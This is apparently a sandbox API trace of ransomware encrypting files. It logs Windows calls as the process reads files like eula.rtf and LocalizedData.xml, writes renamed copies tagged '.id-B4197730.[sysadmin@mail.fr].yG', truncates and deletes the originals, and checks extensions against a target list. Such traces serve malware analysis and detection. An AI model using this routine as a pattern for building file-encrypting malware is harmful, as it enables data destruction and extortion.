	[0042.635] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0042.635] GetLastError () returned 0x0
	[0042.635] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xdc6, lpOverlapped=0x0) returned 1
	[0042.680] WriteFile (in: hFile=0x2e4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xdd0, lpOverlapped=0x0) returned 1
	[0042.681] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.681] WriteFile (in: hFile=0x2e4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0042.681] SetEndOfFile (hFile=0x2e4) returned 1
	[0042.681] CloseHandle (hObject=0x2e4) returned 1
	[0042.681] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.682] SetEndOfFile (hFile=0x2f0) returned 1
	[0042.682] CloseHandle (hObject=0x2f0) returned 1
	[0042.682] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.683] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 1
	[0042.683] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0042.683] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0042.684] lstrlenW (lpString=".doc") returned 4
	[0042.684] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.684] lstrlenW (lpString=".docx") returned 5
	[0042.684] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.684] lstrlenW (lpString=".pdf") returned 4
	[0042.684] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.684] lstrlenW (lpString=".xls") returned 4
	[0042.684] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.684] lstrlenW (lpString=".xlsx") returned 5
	[0042.684] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.684] lstrlenW (lpString=".ppt") returned 4
	[0042.684] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0042.684] lstrlenW (lpString=".zip") returned 4
	[0042.684] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.684] lstrlenW (lpString=".rar") returned 4
	[0042.684] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.684] lstrlenW (lpString=".bz2") returned 4
	[0042.684] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.684] lstrlenW (lpString=".7z") returned 3
	[0042.684] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0042.684] lstrlenW (lpString=".dbf") returned 4
	[0042.684] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0042.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0042.684] lstrlenW (lpString=".1cd") returned 4
	[0042.684] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0042.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0042.684] lstrlenW (lpString=".jpg") returned 4
	[0042.684] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0042.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0042.684] lstrlenW (lpString=".doc") returned 4
	[0042.684] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.684] lstrlenW (lpString=".docx") returned 5
	[0042.684] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.684] lstrlenW (lpString=".pdf") returned 4
	[0042.684] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.685] lstrlenW (lpString=".xls") returned 4
	[0042.685] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.685] lstrlenW (lpString=".xlsx") returned 5
	[0042.685] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.685] lstrlenW (lpString=".ppt") returned 4
	[0042.685] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0042.685] lstrlenW (lpString=".zip") returned 4
	[0042.685] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.685] lstrlenW (lpString=".rar") returned 4
	[0042.685] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.685] lstrlenW (lpString=".bz2") returned 4
	[0042.685] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.685] lstrlenW (lpString=".7z") returned 3
	[0042.685] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0042.685] lstrlenW (lpString=".dbf") returned 4
	[0042.685] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0042.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0042.685] lstrlenW (lpString=".1cd") returned 4
	[0042.685] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0042.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0042.685] lstrlenW (lpString=".jpg") returned 4
	[0042.685] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.685] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0042.685] lstrlenW (lpString="eula.rtf") returned 8
	[0042.685] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0042.685] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=6851) returned 1
	[0042.685] CloseHandle (hObject=0x2f0) returned 1
	[0042.686] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80
	[0042.686] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.686] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0042.686] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.686] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.686] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0042.686] GetLastError () returned 0x0
	[0042.686] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x1ac3, lpOverlapped=0x0) returned 1
	[0042.729] WriteFile (in: hFile=0x2e4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1ad0, lpOverlapped=0x0) returned 1
	[0042.730] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.730] WriteFile (in: hFile=0x2e4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0042.730] SetEndOfFile (hFile=0x2e4) returned 1
	[0042.730] CloseHandle (hObject=0x2e4) returned 1
	[0042.730] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.731] SetEndOfFile (hFile=0x2f0) returned 1
	[0042.731] CloseHandle (hObject=0x2f0) returned 1
	[0042.731] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.732] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 1
	[0042.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0042.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0042.732] lstrlenW (lpString=".doc") returned 4
	[0042.732] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.732] lstrlenW (lpString=".docx") returned 5
	[0042.732] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.732] lstrlenW (lpString=".pdf") returned 4
	[0042.732] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.732] lstrlenW (lpString=".xls") returned 4
	[0042.732] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.732] lstrlenW (lpString=".xlsx") returned 5
	[0042.732] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.732] lstrlenW (lpString=".ppt") returned 4
	[0042.732] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0042.732] lstrlenW (lpString=".zip") returned 4
	[0042.732] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.732] lstrlenW (lpString=".rar") returned 4
	[0042.733] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.733] lstrlenW (lpString=".bz2") returned 4
	[0042.733] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.733] lstrlenW (lpString=".7z") returned 3
	[0042.733] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0042.733] lstrlenW (lpString=".dbf") returned 4
	[0042.733] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0042.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0042.733] lstrlenW (lpString=".1cd") returned 4
	[0042.733] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0042.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0042.733] lstrlenW (lpString=".jpg") returned 4
	[0042.733] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0042.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0042.733] lstrlenW (lpString=".doc") returned 4
	[0042.733] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.733] lstrlenW (lpString=".docx") returned 5
	[0042.733] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.733] lstrlenW (lpString=".pdf") returned 4
	[0042.733] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.733] lstrlenW (lpString=".xls") returned 4
	[0042.733] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.733] lstrlenW (lpString=".xlsx") returned 5
	[0042.733] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.733] lstrlenW (lpString=".ppt") returned 4
	[0042.733] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0042.733] lstrlenW (lpString=".zip") returned 4
	[0042.733] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.734] lstrlenW (lpString=".rar") returned 4
	[0042.734] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.734] lstrlenW (lpString=".bz2") returned 4
	[0042.734] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.734] lstrlenW (lpString=".7z") returned 3
	[0042.734] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0042.734] lstrlenW (lpString=".dbf") returned 4
	[0042.734] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0042.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0042.734] lstrlenW (lpString=".1cd") returned 4
	[0042.734] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0042.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0042.734] lstrlenW (lpString=".jpg") returned 4
	[0042.734] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.734] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0042.734] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0042.734] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0042.734] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=86442) returned 1
	[0042.735] CloseHandle (hObject=0x2f0) returned 1
	[0042.735] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80
	[0042.735] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.735] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0042.735] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.735] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.735] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0042.736] GetLastError () returned 0x0
	[0042.736] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x151aa, lpOverlapped=0x0) returned 1
	[0042.840] WriteFile (in: hFile=0x2e4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x151b0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x151b0, lpOverlapped=0x0) returned 1
	[0042.842] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.842] WriteFile (in: hFile=0x2e4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0042.842] SetEndOfFile (hFile=0x2e4) returned 1
	[0042.842] CloseHandle (hObject=0x2e4) returned 1
	[0042.844] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.844] SetEndOfFile (hFile=0x2f0) returned 1
	[0042.845] CloseHandle (hObject=0x2f0) returned 1
	[0042.845] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.845] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 1
	[0042.846] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0042.846] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0042.846] lstrlenW (lpString=".doc") returned 4
	[0042.846] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.846] lstrlenW (lpString=".docx") returned 5
	[0042.846] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.846] lstrlenW (lpString=".pdf") returned 4
	[0042.846] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.846] lstrlenW (lpString=".xls") returned 4
	[0042.846] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.846] lstrlenW (lpString=".xlsx") returned 5
	[0042.846] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.846] lstrlenW (lpString=".ppt") returned 4
	[0042.846] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.846] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0042.847] lstrlenW (lpString=".zip") returned 4
	[0042.847] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.847] lstrlenW (lpString=".rar") returned 4
	[0042.847] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.847] lstrlenW (lpString=".bz2") returned 4
	[0042.847] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.847] lstrlenW (lpString=".7z") returned 3
	[0042.847] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.847] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0042.847] lstrlenW (lpString=".dbf") returned 4
	[0042.847] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0042.847] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0042.847] lstrlenW (lpString=".1cd") returned 4
	[0042.847] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.847] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0042.847] lstrlenW (lpString=".jpg") returned 4
	[0042.847] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.847] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0042.847] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0042.847] lstrlenW (lpString=".doc") returned 4
	[0042.847] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.847] lstrlenW (lpString=".docx") returned 5
	[0042.847] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.847] lstrlenW (lpString=".pdf") returned 4
	[0042.847] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.847] lstrlenW (lpString=".xls") returned 4
	[0042.847] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.847] lstrlenW (lpString=".xlsx") returned 5
	[0042.847] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.847] lstrlenW (lpString=".ppt") returned 4
	[0042.847] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.847] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0042.847] lstrlenW (lpString=".zip") returned 4
	[0042.847] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.847] lstrlenW (lpString=".rar") returned 4
	[0042.847] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.848] lstrlenW (lpString=".bz2") returned 4
	[0042.848] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.848] lstrlenW (lpString=".7z") returned 3
	[0042.848] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.848] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0042.848] lstrlenW (lpString=".dbf") returned 4
	[0042.848] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0042.848] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0042.848] lstrlenW (lpString=".1cd") returned 4
	[0042.848] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.848] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0042.848] lstrlenW (lpString=".jpg") returned 4
	[0042.848] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.848] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0042.848] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0042.848] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0042.872] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=80060) returned 1
	[0042.872] CloseHandle (hObject=0x2e4) returned 1
	[0042.873] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80
	[0042.873] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.874] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0042.874] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.874] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.874] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0042.882] GetLastError () returned 0x0
	[0042.882] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x138bc, lpOverlapped=0x0) returned 1
	[0042.939] WriteFile (in: hFile=0x338, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x138c0, lpOverlapped=0x0) returned 1
	[0042.941] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.941] WriteFile (in: hFile=0x338, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0042.941] SetEndOfFile (hFile=0x338) returned 1
	[0042.941] CloseHandle (hObject=0x338) returned 1
	[0042.943] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.943] SetEndOfFile (hFile=0x2d0) returned 1
	[0042.944] CloseHandle (hObject=0x2d0) returned 1
